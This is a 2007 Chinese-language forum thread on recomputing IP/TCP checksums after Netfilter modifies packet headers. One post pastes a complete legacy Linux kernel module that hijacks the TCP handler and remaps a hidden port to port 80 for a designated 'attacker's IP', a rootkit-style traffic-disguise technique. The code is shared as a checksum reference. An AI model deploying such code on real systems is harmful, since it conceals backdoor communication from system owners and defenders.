免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
12
最近访问板块 发新帖
楼主: GNM
打印 上一主题 下一主题

关于使用Netfilter 修改包头信息重新校验和计算的问题! [复制链接]

论坛徽章:
0
11 [报告]
发表于 2007-09-20 12:50 |只看该作者
找到了一段类似代码,但对 register_firewall( PF_INET, &my_fw_ops )不是太了解,这个内核函数与netfilter hook有什么关联吗??好像是新加的吧????


/*
* Compile:
*     gcc -O2 -c test.c -I/usr/src/linux/include -fomit-frame-pointer
* by: Jingyu Zhou and Lin Qiao
*
* Usage:
*    insmod test.o ip=128.111.48.44
*    here ip is the attacker's IP and must be in numeric format
*/

#define MODULE
#define __KERNEL__

#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/skbuff.h>

#include <net/protocol.h>
#include <linux/netdevice.h>
#include <net/pkt_sched.h>
#include <net/tcp.h>
#include <net/ip.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/firewall.h>

#include <linux/kernel.h>
#include <linux/mm.h>
#include <linux/file.h>
#include <asm/uaccess.h>


/* Define here if you want to swap ports also */
#define REALPORT        53333           /* port you which to communicate */
#define FAKEPORT        80              /* port that appears on the wire */

int my_tcp_v4_rcv(struct sk_buff *skb, unsigned short len);
__u32 in_aton(const char *);
int my_default_firewall(struct firewall_ops *this, int pf,
    struct device *dev, void *phdr, void *arg, struct sk_buff **skb);
int my_call_out_firewall(struct firewall_ops *this, int pf,
    struct device *dev, void *phdr, void *arg, struct sk_buff **skb);

unsigned long int magic_ip;
char *ip;
MODULE_PARM(ip, "s");
struct inet_protocol *original_tcp_protocol;

struct inet_protocol my_tcp_protocol =
{
    &my_tcp_v4_rcv,
    NULL,
    NULL,
    IPPROTO_TCP,
    0,
    NULL,
    "TCP"
};

/*
* <linux/firewall.h>
*
* 18 struct firewall_ops
* 19 {
* 20         struct firewall_ops *next;
* 21         int (*fw_forward)(struct firewall_ops *this, int pf,
* 22                         struct device *dev, void *phdr, void *arg, struct sk_buff **pskb);
* 23         int (*fw_input)(struct firewall_ops *this, int pf,
* 24                         struct device *dev, void *phdr, void *arg, struct sk_buff **pskb);
* 25         int (*fw_output)(struct firewall_ops *this, int pf,
* 26                         struct device *dev, void *phdr, void *arg, struct sk_buff **pskb);
* 27         / * Data falling in the second 486 cache line isn't used directly
* 28            during a firewall call and scan, only by insert/delete and other
* 29            unusual cases
* 30          * /
* 31         int fw_pf;              / * Protocol family                      * /      
* 32         int fw_priority;        / * Priority of chosen firewalls         * /
* 33 };
*/
struct firewall_ops my_fw_ops=
{
    NULL,
    &my_default_firewall,
    &my_default_firewall,
    &my_call_out_firewall,
    PF_INET,
    5       /* We are a little bit larger than default firewall which is 0 */
};

int my_default_firewall(
    struct firewall_ops *this,
    int pf,
    struct device *dev,
    void *phdr,
    void *arg,
    struct sk_buff **skb)
{
    return    FW_SKIP;
}

/*
* When sending a packet out, if the destination address == magic_ip
* and source tcp port == real port, change source port to fake port
* and re-compute the checksum.
*/
int my_call_out_firewall(
    struct firewall_ops *this,
    int pf,
    struct device *dev,
    void *phdr,
    void *arg,
    struct sk_buff **skb)
{
    struct sk_buff *sk = *skb;
    struct iphdr *iph = (struct iphdr *) phdr;
    struct tcphdr *th = (struct tcphdr *)((__u32 *)iph+iph->ihl);
    unsigned short size;
    int doff = 0;
    int csum = 0;
    int offset;

        if (    iph->daddr == magic_ip &&
        iph->protocol == IPPROTO_TCP &&
        th->source == htons(REALPORT) ) {

        th->source = htons(FAKEPORT);

        size = ntohs(iph->tot_len) - (iph->ihl * 4);
        doff = th->doff << 2;
        sk->csum = 0;
        csum = csum_partial( sk->h.raw + doff, size - doff, 0 );
        sk->csum = csum;

        th->check = 0;
        th->check = csum_tcpudp_magic(
                iph->saddr,
                iph->daddr,
                size,
                iph->protocol,
                csum_partial(sk->h.raw, doff, sk->csum)
                );
        }

    return FW_SKIP;
}


/*
* When receving a packet here, if the source IP == magic_ip and
* destination port == fake port, change the destination port to
* real port and re-compute the checksum.
* Call the original routine.
*/
int my_tcp_v4_rcv(struct sk_buff *skb, unsigned short len)
{
    struct tcphdr *th;
    struct iphdr *iph;
    unsigned short size;
    int doff = 0;
    int csum = 0;
    int offset;

        if (  skb->nh.iph->saddr == magic_ip &&
          skb->h.th->dest == htons(FAKEPORT) ) {
        skb->h.th->dest = htons(REALPORT);

        th = skb->h.th;
        iph = skb->nh.iph;

        size = ntohs(iph->tot_len) - (iph->ihl * 4);
        doff = th->doff << 2;
        skb->csum = 0;
        csum = csum_partial( skb->h.raw + doff, size - doff, 0 );
        skb->csum = csum;

        th->check = 0;
        th->check = csum_tcpudp_magic(
                iph->saddr,
                iph->daddr,
                size,
                iph->protocol,
                csum_partial(skb->h.raw, doff, skb->csum)
                );
        }

out:
    return (original_tcp_protocol->handler) ( skb, len );
}

/*
*      Convert an ASCII string to binary IP.
*/

__u32 in_aton(const char *str) {
        unsigned long l;
        unsigned int val;
        int i;

        l = 0;
        for (i = 0; i < 4; i++) {
                l <<= 8;
                if (*str != '\0') {
                        val = 0;
                        while (*str != '\0' && *str != '.') {
                                val *= 10;
                                val += *str - '0';
                                str++;
                        }
                        l |= val;
                        if (*str != '\0')
                                str++;
                }
        }
        return    (htonl(l));
}

int init_module() {

        if(!ip) {
                printk("Error: missing end-host ip.\n");
                printk("Usage: insmod test.o ip=x.x.x.x\n\n");
                return -ENXIO;
        }               
        magic_ip = in_aton(ip);

    /* replace the original tcp protocol */
    inet_add_protocol(&my_tcp_protocol);
    original_tcp_protocol = my_tcp_protocol.next;
    inet_del_protocol(original_tcp_protocol);

    /* insert our firewall routines here */
    if ( register_firewall( PF_INET, &my_fw_ops ) < 0 ) {
        printk("panic: can't load my firewall!\n");
    }

    printk("test loaded\n");
    return    0;
}

void cleanup_module() {
    /* remove our tcp routine, insert the original one */
    inet_add_protocol(original_tcp_protocol);
    inet_del_protocol(&my_tcp_protocol);

    /* remove our firewall routine */
    unregister_firewall( PF_INET, &my_fw_ops );

    printk("test unloaded\n");
}

论坛徽章:
0
12 [报告]
发表于 2007-09-20 13:21 |只看该作者
原帖由 守夜人 于 2007-9-20 10:20 发表
传输层也有影响吧,tcp检验和也是依赖于IP头信息的,这样IP头和TCP头的校验和都需重新计算..否则TCP检验和检验时就失败了..

是的,tcp 的 check 也需要重做,因为计算的时候需要用到伪头,伪头含有 IP 信息
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP